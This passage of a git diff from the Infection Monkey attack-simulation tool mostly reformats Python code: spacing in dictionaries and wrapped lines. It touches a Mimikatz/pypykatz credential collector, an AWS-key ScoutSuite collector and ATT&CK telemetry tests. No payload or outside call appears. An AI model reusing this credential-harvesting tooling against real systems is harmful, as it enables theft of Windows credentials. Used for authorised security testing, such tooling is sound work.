Windows/Linux. # In this case we'll just add what we know. processes[process.pid] = { - "name": "null", - "pid": process.pid, - "ppid": process.ppid(), - "cmdline": "ACCESS DENIED", - "full_image_path": "null", + "name":"null", + "pid":process.pid, + "ppid":process.ppid(), + "cmdline":"ACCESS DENIED", + "full_image_path":"null", } continue - return {"process_list": processes} + return {"process_list":processes} diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index ec8a5e488bd..ba5cda49d45 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -24,10 +24,10 @@ def scan_cloud_security(cloud_type: CloudProviders): def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]: return ScoutSuite.api_run.run( - provider=cloud_type, - aws_access_key_id=WormConfiguration.aws_access_key_id, - aws_secret_access_key=WormConfiguration.aws_secret_access_key, - aws_session_token=WormConfiguration.aws_session_token, + provider=cloud_type, + aws_access_key_id=WormConfiguration.aws_access_key_id, + aws_secret_access_key=WormConfiguration.aws_secret_access_key, + aws_session_token=WormConfiguration.aws_session_token, ) diff --git a/monkey/infection_monkey/system_info/netstat_collector.py b/monkey/infection_monkey/system_info/netstat_collector.py index d35b4c1fbef..0d8b73cb978 100644 --- a/monkey/infection_monkey/system_info/netstat_collector.py +++ b/monkey/infection_monkey/system_info/netstat_collector.py @@ -1,4 +1,5 @@ -# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py +# Inspired by Giampaolo Rodola's psutil example from +# https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py import logging import socket @@ -19,10 +20,10 @@ class NetstatCollector(object): AF_INET6 = getattr(socket, "AF_INET6", object()) proto_map = { - (AF_INET, SOCK_STREAM): "tcp", - (AF_INET6, SOCK_STREAM): "tcp6", - (AF_INET, SOCK_DGRAM): "udp", - (AF_INET6, SOCK_DGRAM): "udp6", + (AF_INET, SOCK_STREAM):"tcp", + (AF_INET6, SOCK_STREAM):"tcp6", + (AF_INET, SOCK_DGRAM):"udp", + (AF_INET6, SOCK_DGRAM):"udp6", } @staticmethod @@ -33,11 +34,11 @@ def get_netstat_info(): @staticmethod def _parse_connection(c): return { - "proto": NetstatCollector.proto_map[(c.family, c.type)], - "local_address": c.laddr[0], - "local_port": c.laddr[1], - "remote_address": c.raddr[0] if c.raddr else None, - "remote_port": c.raddr[1] if c.raddr else None, - "status": c.status, - "pid": c.pid, + "proto":NetstatCollector.proto_map[(c.family, c.type)], + "local_address":c.laddr[0], + "local_port":c.laddr[1], + "remote_address":c.raddr[0] if c.raddr else None, + "remote_port":c.raddr[1] if c.raddr else None, + "status":c.status, + "pid":c.pid, } diff --git a/monkey/infection_monkey/system_info/system_info_collector.py b/monkey/infection_monkey/system_info/system_info_collector.py index ac269f5b0c5..fe160de16c1 100644 --- a/monkey/infection_monkey/system_info/system_info_collector.py +++ b/monkey/infection_monkey/system_info/system_info_collector.py @@ -7,9 +7,12 @@ class SystemInfoCollector(Plugin, metaclass=ABCMeta): """ - ABC for system info collection. See system_info_collector_handler for more info. Basically, to implement a new system info - collector, inherit from this class in an implementation in the infection_monkey.system_info.collectors class, and override - the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the collector to the configuration + ABC for system info collection. See system_info_collector_handler for more info. Basically, + to implement a new system info + collector, inherit from this class in an implementation in the + infection_monkey.system_info.collectors class, and override + the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the + collector to the configuration as well - see monkey_island.cc.services.processing.system_info_collectors for examples. See the Wiki page "How to add a new System Info Collector to the Monkey?" for a detailed guide. diff --git a/monkey/infection_monkey/system_info/system_info_collectors_handler.py b/monkey/infection_monkey/system_info/system_info_collectors_handler.py index 9c883084cc6..5a77ee9e9e9 100644 --- a/monkey/infection_monkey/system_info/system_info_collectors_handler.py +++ b/monkey/infection_monkey/system_info/system_info_collectors_handler.py @@ -24,12 +24,11 @@ def execute_all_configured(self): # If we failed one collector, no need to stop execution. Log and continue. LOG.error("Collector {} failed. Error info: {}".format(collector.name, e)) LOG.info( - "All system info collectors executed. Total {} executed, out of which {} collected successfully.".format( - len(self.collectors_list), successful_collections - ) + "All system info collectors executed. Total {} executed, out of which {} " + "collected successfully.".format(len(self.collectors_list), successful_collections) ) - SystemInfoTelem({"collectors": system_info_telemetry}).send() + SystemInfoTelem({"collectors":system_info_telemetry}).send() @staticmethod def config_to_collectors_list() -> Sequence[SystemInfoCollector]: diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py index 0bed5c7f8a6..579cfb037b2 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py @@ -22,5 +22,5 @@ def cred_list_to_cred_dict(creds: List[WindowsCredentials]): # Lets not use "." and "$" in keys, because it will confuse mongo. # Ideally we should refactor island not to use a dict and simply parse credential list. key = cred.username.replace(".", ",").replace("$", "") - cred_dict.update({key: cred.to_dict()}) + cred_dict.update({key:cred.to_dict()}) return cred_dict diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py index 23bcce7717d..11415ddac63 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py @@ -43,7 +43,7 @@ def _get_creds_from_pypykatz_session(pypykatz_session: Dict) -> List[WindowsCred def _get_creds_from_pypykatz_creds( - pypykatz_creds: List[PypykatzCredential], + pypykatz_creds: List[PypykatzCredential], ) -> List[WindowsCredentials]: creds = _filter_empty_creds(pypykatz_creds) return [_get_windows_cred(cred) for cred in creds] @@ -72,7 +72,7 @@ def _get_windows_cred(pypykatz_cred: PypykatzCredential): if "LMhash" in pypykatz_cred: lm_hash = _hash_to_string(pypykatz_cred["LMhash"]) return WindowsCredentials( - username=username, password=password, ntlm_hash=ntlm_hash, lm_hash=lm_hash + username=username, password=password, ntlm_hash=ntlm_hash, lm_hash=lm_hash ) diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py index f2d9565b14d..89b570bad4e 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py @@ -8,119 +8,123 @@ class TestPypykatzHandler(TestCase): # Made up credentials, but structure of dict should be roughly the same PYPYKATZ_SESSION = { - "authentication_id": 555555, - "session_id": 3, - "username": "Monkey", - "domainname": "ReAlDoMaIn", - "logon_server": "ReAlDoMaIn", - "logon_time": "2020-06-02T04:53:45.256562+00:00", - "sid": "S-1-6-25-260123139-3611579848-5589493929-3021", - "luid": 123086, - "msv_creds": [ + "authentication_id":555555, + "session_id":3, + "username":"Monkey", + "domainname":"ReAlDoMaIn", + "logon_server":"ReAlDoMaIn", + "logon_time":"2020-06-02T04:53:45.256562+00:00", + "sid":"S-1-6-25-260123139-3611579848-5589493929-3021", + "luid":123086, + "msv_creds":[ { - "username": "monkey", - "domainname": "ReAlDoMaIn", - "NThash": b"1\xb7 Dict: return { - "username": self.username, - "password": self.password, - "ntlm_hash": self.ntlm_hash, - "lm_hash": self.lm_hash, + "username":self.username, + "password":self.password, + "ntlm_hash":self.ntlm_hash, + "lm_hash":self.lm_hash, } diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py index 71366a46698..13913f349aa 100644 --- a/monkey/infection_monkey/system_info/wmi_consts.py +++ b/monkey/infection_monkey/system_info/wmi_consts.py @@ -17,7 +17,7 @@ # monkey should run as *** SYSTEM *** !!! # WMI_LDAP_CLASSES = { - "ds_user": ( + "ds_user":( "DS_sAMAccountName", "DS_userPrincipalName", "DS_sAMAccountType", @@ -36,7 +36,7 @@ "DS_logonCount", "DS_accountExpires", ), - "ds_group": ( + "ds_group":( "DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName", @@ -52,7 +52,7 @@ "DS_distinguishedName", "ADSIPath", ), - "ds_computer": ( + "ds_computer":( "DS_dNSHostName", "ADSIPath", "DS_accountExpires", diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 9576ff9f78b..e1a7e467e0b 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -38,13 +38,14 @@ def try_lock(self): assert self._mutex_handle is None, "Singleton already locked" handle = ctypes.windll.kernel32.CreateMutexA( - None, ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name.encode()) + None, ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name.encode()) ) last_error = ctypes.windll.kernel32.GetLastError() if not handle: LOG.error( - "Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error + "Cannot acquire system singleton %r, unknown error %d", self._mutex_name, + last_error ) return False if winerror.ERROR_ALREADY_EXISTS == last_error: @@ -80,10 +81,10 @@ def try_lock(self): sock.bind("\0" + self._unix_sock_name) except socket.error as e: LOG.error( - "Cannot acquire system singleton %r, error code %d, error: %s", - self._unix_sock_name, - e.args[0], - e.args[1], + "Cannot acquire system singleton %r, error code %d, error: %s", + self._unix_sock_name, + e.args[0], + e.args[1], ) return False diff --git a/monkey/infection_monkey/telemetry/attack/attack_telem.py b/monkey/infection_monkey/telemetry/attack/attack_telem.py index 125906c742c..87361c5f5d8 100644 --- a/monkey/infection_monkey/telemetry/attack/attack_telem.py +++ b/monkey/infection_monkey/telemetry/attack/attack_telem.py @@ -18,4 +18,4 @@ def __init__(self, technique, status): telem_category = TelemCategoryEnum.ATTACK def get_data(self): - return {"status": self.status.value, "technique": self.technique} + return {"status":self.status.value, "technique":self.technique} diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py index 545bb47d3ef..3214dea6e1d 100644 --- a/monkey/infection_monkey/telemetry/attack/t1005_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py @@ -15,5 +15,5 @@ def __init__(self, status, gathered_data_type, info=""): def get_data(self): data = super(T1005Telem, self).get_data() - data.update({"gathered_data_type": self.gathered_data_type, "info": self.info}) + data.update({"gathered_data_type":self.gathered_data_type, "info":self.info}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py index f8cdf379c71..8a1acbfdff1 100644 --- a/monkey/infection_monkey/telemetry/attack/t1064_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -3,7 +3,8 @@ class T1064Telem(AttackTelem): def __init__(self, status, usage): - # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem techniques + # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem + # techniques """ T1064 telemetry. :param status: ScanStatus of technique @@ -14,5 +15,5 @@ def __init__(self, status, usage): def get_data(self): data = super(T1064Telem, self).get_data() - data.update({"usage": self.usage}) + data.update({"usage":self.usage}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py index 939e2b3e297..d75a527d923 100644 --- a/monkey/infection_monkey/telemetry/attack/t1105_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py @@ -17,5 +17,5 @@ def __init__(self, status, src, dst, filename): def get_data(self): data = super(T1105Telem, self).get_data() - data.update({"filename": self.filename, "src": self.src, "dst": self.dst}) + data.update({"filename":self.filename, "src":self.src, "dst":self.dst}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py index 816488f3b6f..ced66a4c15c 100644 --- a/monkey/infection_monkey/telemetry/attack/t1107_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py @@ -13,5 +13,5 @@ def __init__(self, status, path): def get_data(self): data = super(T1107Telem, self).get_data() - data.update({"path": self.path}) + data.update({"path":self.path}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1197_telem.py b/monkey/infection_monkey/telemetry/attack/t1197_telem.py index c5c98a9d04b..5e12fc71831 100644 --- a/monkey/infection_monkey/telemetry/attack/t1197_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1197_telem.py @@ -5,7 +5,8 @@ class T1197Telem(VictimHostTelem): def __init__(self, status, machine, usage): - # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem techniques + # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem + # techniques """ T1197 telemetry. :param status: ScanStatus of technique @@ -17,5 +18,5 @@ def __init__(self, status, machine, usage): def get_data(self): data = super(T1197Telem, self).get_data() - data.update({"usage": self.usage}) + data.update({"usage":self.usage}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py index 30a0314ae90..4f65d1401fc 100644 --- a/monkey/infection_monkey/telemetry/attack/t1222_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py @@ -14,5 +14,5 @@ def __init__(self, status, command, machine): def get_data(self): data = super(T1222Telem, self).get_data() - data.update({"command": self.command}) + data.update({"command":self.command}) return data diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py index 3066fe3d30f..1231215e5b5 100644 --- a/monkey/infection_monkey/telemetry/attack/usage_telem.py +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -13,5 +13,5 @@ def __init__(self, technique, status, usage): def get_data(self): data = super(UsageTelem, self).get_data() - data.update({"usage": self.usage}) + data.update({"usage":self.usage}) return data diff --git a/monkey/infection_monkey/telemetry/attack/victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py index 9dc812b142c..19c3740ff48 100644 --- a/monkey/infection_monkey/telemetry/attack/victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py @@ -13,9 +13,9 @@ def __init__(self, technique, status, machine): :param machine: VictimHost obj from model/host.py """ super(VictimHostTelem, self).__init__(technique, status) - self.machine = {"domain_name": machine.domain_name, "ip_addr": machine.ip_addr} + self.machine = {"domain_name":machine.domain_name, "ip_addr":machine.ip_addr} def get_data(self): data = super(VictimHostTelem, self).get_data() - data.update({"machine": self.machine}) + data.update({"machine":self.machine}) return data diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py index e179a24df22..0fcf4b20312 100644 --- a/monkey/infection_monkey/telemetry/base_telem.py +++ b/monkey/infection_monkey/telemetry/base_telem.py @@ -9,6 +9,7 @@ __author__ = "itay.mizeretz" + # TODO: Rework the interface for telemetry; this class has too many responsibilities # (i.e. too many reasons to change): # diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index 4f39a2145f0..9b2e6c2f6c6 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -19,9 +19,9 @@ def __init__(self, exploiter, result): def get_data(self): return { - "result": self.result, - "machine": self.exploiter.host.__dict__, - "exploiter": self.exploiter.__class__.__name__, - "info": self.exploiter.exploit_info, - "attempts": self.exploiter.exploit_attempts, + "result":self.result, + "machine":self.exploiter.host.__dict__, + "exploiter":self.exploiter.__class__.__name__, + "info":self.exploiter.exploit_info, + "attempts":self.exploiter.exploit_attempts, } diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py index 6dafa3c0cd7..f1e8f61010a 100644 --- a/monkey/infection_monkey/telemetry/post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -22,11 +22,11 @@ def __init__(self, pba, result): def get_data(self): return { - "command": self.pba.command, - "result": self.result, - "name": self.pba.name, - "hostname": self.hostname, - "ip": self.ip, + "command":self.pba.command, + "result":self.result, + "name":self.pba.name, + "hostname":self.hostname, + "ip":self.ip, } @staticmethod diff --git a/monkey/infection_monkey/telemetry/scan_telem.py b/monkey/infection_monkey/telemetry/scan_telem.py index c606a2cc2de..ea7ee872378 100644 --- a/monkey/infection_monkey/telemetry/scan_telem.py +++ b/monkey/infection_monkey/telemetry/scan_telem.py @@ -16,4 +16,4 @@ def __init__(self, machine): telem_category = TelemCategoryEnum.SCAN def get_data(self): - return {"machine": self.machine.as_dict(), "service_count": len(self.machine.services)} + return {"machine":self.machine.as_dict(), "service_count":len(self.machine.services)} diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py index 91b26f69d85..7a31b833220 100644 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -14,4 +14,4 @@ def __init__(self, provider: BaseProvider): telem_category = TelemCategoryEnum.SCOUTSUITE def get_data(self): - return {"data": self.provider_data} + return {"data":self.provider_data} diff --git a/monkey/infection_monkey/telemetry/state_telem.py b/monkey/infection_monkey/telemetry/state_telem.py index 06fc1794cfa..a5b8ad66a6b 100644 --- a/monkey/infection_monkey/telemetry/state_telem.py +++ b/monkey/infection_monkey/telemetry/state_telem.py @@ -17,4 +17,4 @@ def __init__(self, is_done, version="Unknown"): telem_category = TelemCategoryEnum.STATE def get_data(self): - return {"done": self.is_done, "version": self.version} + return {"done":self.is_done, "version":self.version} diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py index 02d591f3e30..1025ae87115 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py @@ -16,7 +16,7 @@ def attack_telem_test_instance(): def test_attack_telem_send(attack_telem_test_instance, spy_send_telemetry): attack_telem_test_instance.send() - expected_data = {"status": STATUS.value, "technique": TECHNIQUE} + expected_data = {"status":STATUS.value, "technique":TECHNIQUE} expected_data = json.dumps(expected_data, cls=attack_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py index 7ad7e074c1c..9bcda631d50 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py @@ -18,10 +18,10 @@ def T1005_telem_test_instance(): def test_T1005_send(T1005_telem_test_instance, spy_send_telemetry): T1005_telem_test_instance.send() expected_data = { - "status": STATUS.value, - "technique": "T1005", - "gathered_data_type": GATHERED_DATA_TYPE, - "info": INFO, + "status":STATUS.value, + "technique":"T1005", + "gathered_data_type":GATHERED_DATA_TYPE, + "info":INFO, } expected_data = json.dumps(expected_data, cls=T1005_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py index f927e7b91e3..3e91417a48b 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py @@ -16,7 +16,7 @@ def T1035_telem_test_instance(): def test_T1035_send(T1035_telem_test_instance, spy_send_telemetry): T1035_telem_test_instance.send() - expected_data = {"status": STATUS.value, "technique": "T1035", "usage": USAGE.name} + expected_data = {"status":STATUS.value, "technique":"T1035", "usage":USAGE.name} expected_data = json.dumps(expected_data, cls=T1035_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py index 1d242d4efdc..afcae8fce63 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py @@ -16,7 +16,7 @@ def T1064_telem_test_instance(): def test_T1064_send(T1064_telem_test_instance, spy_send_telemetry): T1064_telem_test_instance.send() - expected_data = {"status": STATUS.value, "technique": "T1064", "usage": USAGE_STR} + expected_data = {"status":STATUS.value, "technique":"T1064", "usage":USAGE_STR} expected_data = json.dumps(expected_data, cls=T1064_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py index 690c4508c69..52c512aa24d 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py @@ -19,11 +19,11 @@ def T1105_telem_test_instance(): def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry): T1105_telem_test_instance.send() expected_data = { - "status": STATUS.value, - "technique": "T1105", - "filename": FILENAME, - "src": SRC_IP, - "dst": DST_IP, + "status":STATUS.value, + "technique":"T1105", + "filename":FILENAME, + "src":SRC_IP, + "dst":DST_IP, } expected_data = json.dumps(expected_data, cls=T1105_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py index 2857bbc11ec..31640666a56 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py @@ -16,7 +16,7 @@ def T1106_telem_test_instance(): def test_T1106_send(T1106_telem_test_instance, spy_send_telemetry): T1106_telem_test_instance.send() - expected_data = {"status": STATUS.value, "technique": "T1106", "usage": USAGE.name} + expected_data = {"status":STATUS.value, "technique":"T1106", "usage":USAGE.name} expected_data = json.dumps(expected_data, cls=T1106_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py index bb1bf2088d2..2729ed65953 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py @@ -16,7 +16,7 @@ def T1107_telem_test_instance(): def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry): T1107_telem_test_instance.send() - expected_data = {"status": STATUS.value, "technique": "T1107", "path": PATH} + expected_data = {"status":STATUS.value, "technique":"T1107", "path":PATH} expected_data = json.dumps(expected_data, cls=T1107_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py index 41178a74977..0818ed195ec 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py @@ -16,7 +16,7 @@ def T1129_telem_test_instance(): def test_T1129_send(T1129_telem_test_instance, spy_send_telemetry): T1129_telem_test_instance.send() - expected_data = {"status": STATUS.value, "technique": "T1129", "usage": USAGE.name} + expected_data = {"status":STATUS.value, "technique":"T1129", "usage":USAGE.name} expected_data = json.dumps(expected_data, cls=T1129_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py index a7556e9524d..bdf3b9e7363 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py @@ -21,10 +21,10 @@ def T1197_telem_test_instance(): def test_T1197_send(T1197_telem_test_instance, spy_send_telemetry): T1197_telem_test_instance.send() expected_data = { - "status": STATUS.value, - "technique": "T1197", - "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, - "usage": USAGE_STR, + "status":STATUS.value, + "technique":"T1197", + "machine":{"domain_name":DOMAIN_NAME, "ip_addr":IP}, + "usage":USAGE_STR, } expected_data = json.dumps(expected_data, cls=T1197_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py index 1b78bef5bfc..62724f9163e 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py @@ -21,10 +21,10 @@ def T1222_telem_test_instance(): def test_T1222_send(T1222_telem_test_instance, spy_send_telemetry): T1222_telem_test_instance.send() expected_data = { - "status": STATUS.value, - "technique": "T1222", - "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, - "command": COMMAND, + "status":STATUS.value, + "technique":"T1222", + "machine":{"domain_name":DOMAIN_NAME, "ip_addr":IP}, + "command":COMMAND, } expected_data = json.dumps(expected_data, cls=T1222_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py index 511cc51b864..97e0dc8010a 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py @@ -18,9 +18,9 @@ def usage_telem_test_instance(): def test_usage_telem_send(usage_telem_test_instance, spy_send_telemetry): usage_telem_test_instance.send() expected_data = { - "status": STATUS.value, - "technique": TECHNIQUE, - "usage": USAGE.name, + "status":STATUS.value, + "technique":TECHNIQUE, + "usage":USAGE.name, } expected_data = json.dumps(expected_data, cls=usage_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py index a3853e78c18..0344c64781b 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py @@ -21,9 +21,9 @@ def victim_host_telem_test_instance(): def test_victim_host_telem_send(victim_host_telem_test_instance, spy_send_telemetry): victim_host_telem_test_instance.send() expected_data = { - "status": STATUS.value, - "technique": TECHNIQUE, - "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, + "status":STATUS.value, + "technique":TECHNIQUE, + "machine":{"domain_name":DOMAIN_NAME, "ip_addr":IP}, } expected_data = json.dumps(expected_data, cls=victim_host_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py index 95f85392243..373dece4a28 100644 --- a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py @@ -10,24 +10,24 @@ IP = "0.0.0.0" HOST = VictimHost(IP, DOMAIN_NAME) HOST_AS_DICT = { - "ip_addr": IP, - "domain_name": DOMAIN_NAME, - "os": {}, - "services": {}, - "icmp": False, - "monkey_exe": None, - "default_tunnel": None, - "default_server": None, + "ip_addr":IP, + "domain_name":DOMAIN_NAME, + "os":{}, + "services":{}, + "icmp":False, + "monkey_exe":None, + "default_tunnel":None, + "default_server":None, } EXPLOITER = WmiExploiter(HOST) EXPLOITER_NAME = "WmiExploiter" EXPLOITER_INFO = { - "display_name": WmiExploiter._EXPLOITED_SERVICE, - "started": "", - "finished": "", - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [], + "display_name":WmiExploiter._EXPLOITED_SERVICE, + "started":"", + "finished":"", + "vulnerable_urls":[], + "vulnerable_ports":[], + "executed_cmds":[], } EXPLOITER_ATTEMPTS = [] RESULT = False @@ -41,11 +41,11 @@ def exploit_telem_test_instance(): def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): exploit_telem_test_instance.send() expected_data = { - "result": RESULT, - "machine": HOST_AS_DICT, - "exploiter": EXPLOITER_NAME, - "info": EXPLOITER_INFO, - "attempts": EXPLOITER_ATTEMPTS, + "result":RESULT, + "machine":HOST_AS_DICT, + "exploiter":EXPLOITER_NAME, + "info":EXPLOITER_INFO, + "attempts":EXPLOITER_ATTEMPTS, } expected_data = json.dumps(expected_data, cls=exploit_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py index d6ce4882517..3a6d1b31dc0 100644 --- a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py @@ -20,18 +20,18 @@ def __init__(self): @pytest.fixture def post_breach_telem_test_instance(monkeypatch): PBA = StubSomePBA() - monkeypatch.setattr(PostBreachTelem, "_get_hostname_and_ip", lambda: 